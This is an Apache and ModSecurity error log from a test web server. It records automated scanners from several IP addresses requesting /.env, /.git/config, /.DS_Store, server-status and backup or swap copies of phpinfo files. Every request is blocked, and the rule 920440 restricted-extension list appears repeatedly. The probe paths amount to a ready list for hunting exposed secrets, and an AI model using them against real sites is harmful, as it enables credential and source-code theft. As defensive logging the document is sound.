[Sun Nov 16 05:35:24.794702 2025] [:error] [pid 105741] [client 18.119.101.32:37242] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.backup"] [unique_id "aRlUjLObLVjTgyzPxxEFJgAAAAU"]
[Sun Nov 16 05:35:24.795039 2025] [:error] [pid 105741] [client 18.119.101.32:37242] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.backup"] [unique_id "aRlUjLObLVjTgyzPxxEFJgAAAAU"]
[Sun Nov 16 05:35:24.795204 2025] [:error] [pid 105741] [client 18.119.101.32:37242] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.backup"] [unique_id "aRlUjLObLVjTgyzPxxEFJgAAAAU"]
[Sun Nov 16 05:35:24.888003 2025] [:error] [pid 103445] [client 18.119.101.32:37282] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.backup"] [unique_id "aRlUjEC1MmZNgKkPK0wSaQAAAAg"]
[Sun Nov 16 05:35:24.888319 2025] [:error] [pid 103445] [client 18.119.101.32:37282] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.backup"] [unique_id "aRlUjEC1MmZNgKkPK0wSaQAAAAg"]
[Sun Nov 16 05:35:24.888491 2025] [:error] [pid 103445] [client 18.119.101.32:37282] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.backup"] [unique_id "aRlUjEC1MmZNgKkPK0wSaQAAAAg"]
[Sun Nov 16 05:35:24.979337 2025] [:error] [pid 103444] [client 18.119.101.32:37326] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.swp"] [unique_id "aRlUjEjUGFX9l3ZphyhApgAAAAc"]
[Sun Nov 16 05:35:24.979705 2025] [:error] [pid 103444] [client 18.119.101.32:37326] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.swp"] [unique_id "aRlUjEjUGFX9l3ZphyhApgAAAAc"]
[Sun Nov 16 05:35:24.979863 2025] [:error] [pid 103444] [client 18.119.101.32:37326] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.swp"] [unique_id "aRlUjEjUGFX9l3ZphyhApgAAAAc"]
[Sun Nov 16 05:35:25.006483 2025] [:error] [pid 105733] [client 18.119.101.32:37268] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.backup"] [unique_id "aRlUjQm3iQ6of_5tM-vZCAAAAAY"]
[Sun Nov 16 05:35:25.006806 2025] [:error] [pid 105733] [client 18.119.101.32:37268] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.backup"] [unique_id "aRlUjQm3iQ6of_5tM-vZCAAAAAY"]
[Sun Nov 16 05:35:25.007000 2025] [:error] [pid 105733] [client 18.119.101.32:37268] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.backup"] [unique_id "aRlUjQm3iQ6of_5tM-vZCAAAAAY"]
[Sun Nov 16 05:35:25.255492 2025] [:error] [pid 103446] [client 18.119.101.32:37332] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.swp"] [unique_id "aRlUjU-c4YqyOTFJOSeITQAAAAk"]
[Sun Nov 16 05:35:25.255819 2025] [:error] [pid 103446] [client 18.119.101.32:37332] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.swp"] [unique_id "aRlUjU-c4YqyOTFJOSeITQAAAAk"]
[Sun Nov 16 05:35:25.255991 2025] [:error] [pid 103446] [client 18.119.101.32:37332] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.swp"] [unique_id "aRlUjU-c4YqyOTFJOSeITQAAAAk"]
[Sun Nov 16 05:35:59.522077 2025] [authz_core:error] [pid 105715] [client 18.119.101.32:53700] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php
[Sun Nov 16 05:35:59.660737 2025] [authz_core:error] [pid 103398] [client 18.119.101.32:53710] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/info.php
[Sun Nov 16 05:35:59.719800 2025] [authz_core:error] [pid 103401] [client 18.119.101.32:53722] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php.save
[Sun Nov 16 05:36:03.835540 2025] [authz_core:error] [pid 103445] [client 18.119.101.32:43100] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/info.php.save
[Sun Nov 16 05:36:49.226864 2025] [:error] [pid 105754] [client 18.119.101.32:50422] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRlU4X3mxOhUaPa_1PS3LQAAAAw"]
[Sun Nov 16 05:36:49.227108 2025] [:error] [pid 105754] [client 18.119.101.32:50422] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRlU4X3mxOhUaPa_1PS3LQAAAAw"]
[Sun Nov 16 05:36:49.227288 2025] [:error] [pid 105754] [client 18.119.101.32:50422] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRlU4X3mxOhUaPa_1PS3LQAAAAw"]
[Sun Nov 16 06:11:44.942212 2025] [authz_core:error] [pid 105715] [client 157.245.105.107:59316] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Nov 16 06:11:46.490614 2025] [:error] [pid 106377] [client 157.245.105.107:59348] [client 157.245.105.107] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRldEs1A9uIKv4_seqC0GAAAAA4"]
[Sun Nov 16 06:11:46.490839 2025] [:error] [pid 106377] [client 157.245.105.107:59348] [client 157.245.105.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRldEs1A9uIKv4_seqC0GAAAAA4"]
[Sun Nov 16 06:11:46.490991 2025] [:error] [pid 106377] [client 157.245.105.107:59348] [client 157.245.105.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRldEs1A9uIKv4_seqC0GAAAAA4"]
[Sun Nov 16 06:11:46.960905 2025] [:error] [pid 106378] [client 157.245.105.107:59362] [client 157.245.105.107] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRldEpQ67jUwNYyQ6E7I8QAAAA8"]
[Sun Nov 16 06:11:46.961148 2025] [:error] [pid 106378] [client 157.245.105.107:59362] [client 157.245.105.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRldEpQ67jUwNYyQ6E7I8QAAAA8"]
[Sun Nov 16 06:11:46.961296 2025] [:error] [pid 106378] [client 157.245.105.107:59362] [client 157.245.105.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRldEpQ67jUwNYyQ6E7I8QAAAA8"]
[Sun Nov 16 06:11:47.419656 2025] [:error] [pid 103446] [client 157.245.105.107:59366] [client 157.245.105.107] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRldE0-c4YqyOTFJOSeIbwAAAAk"]
[Sun Nov 16 06:11:47.419883 2025] [:error] [pid 103446] [client 157.245.105.107:59366] [client 157.245.105.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRldE0-c4YqyOTFJOSeIbwAAAAk"]
[Sun Nov 16 06:11:47.420038 2025] [:error] [pid 103446] [client 157.245.105.107:59366] [client 157.245.105.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRldE0-c4YqyOTFJOSeIbwAAAAk"]
[Sun Nov 16 06:11:58.916935 2025] [:error] [pid 106377] [client 195.178.110.223:58000] [client 195.178.110.223] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRldHs1A9uIKv4_seqC0GQAAAA4"]
[Sun Nov 16 06:11:58.917193 2025] [:error] [pid 106377] [client 195.178.110.223:58000] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRldHs1A9uIKv4_seqC0GQAAAA4"]
[Sun Nov 16 06:11:58.917353 2025] [:error] [pid 106377] [client 195.178.110.223:58000] [client 195.178.110.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRldHs1A9uIKv4_seqC0GQAAAA4"]
[Sun Nov 16 07:46:07.571253 2025] [:error] [pid 106377] [client 213.209.157.81:47536] [client 213.209.157.81] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRlzL81A9uIKv4_seqC0NQAAAA4"]
[Sun Nov 16 07:46:07.571543 2025] [:error] [pid 106377] [client 213.209.157.81:47536] [client 213.209.157.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRlzL81A9uIKv4_seqC0NQAAAA4"]
[Sun Nov 16 07:46:07.571686 2025] [:error] [pid 106377] [client 213.209.157.81:47536] [client 213.209.157.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRlzL81A9uIKv4_seqC0NQAAAA4"]
[Sun Nov 16 13:59:42.129620 2025] [authz_core:error] [pid 107823] [client 64.226.65.160:37952] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Nov 16 13:59:42.397668 2025] [:error] [pid 111778] [client 64.226.65.160:37978] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRnKvh7OFadbAiGPfqkq5AAAAAI"]
[Sun Nov 16 13:59:42.397893 2025] [:error] [pid 111778] [client 64.226.65.160:37978] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRnKvh7OFadbAiGPfqkq5AAAAAI"]
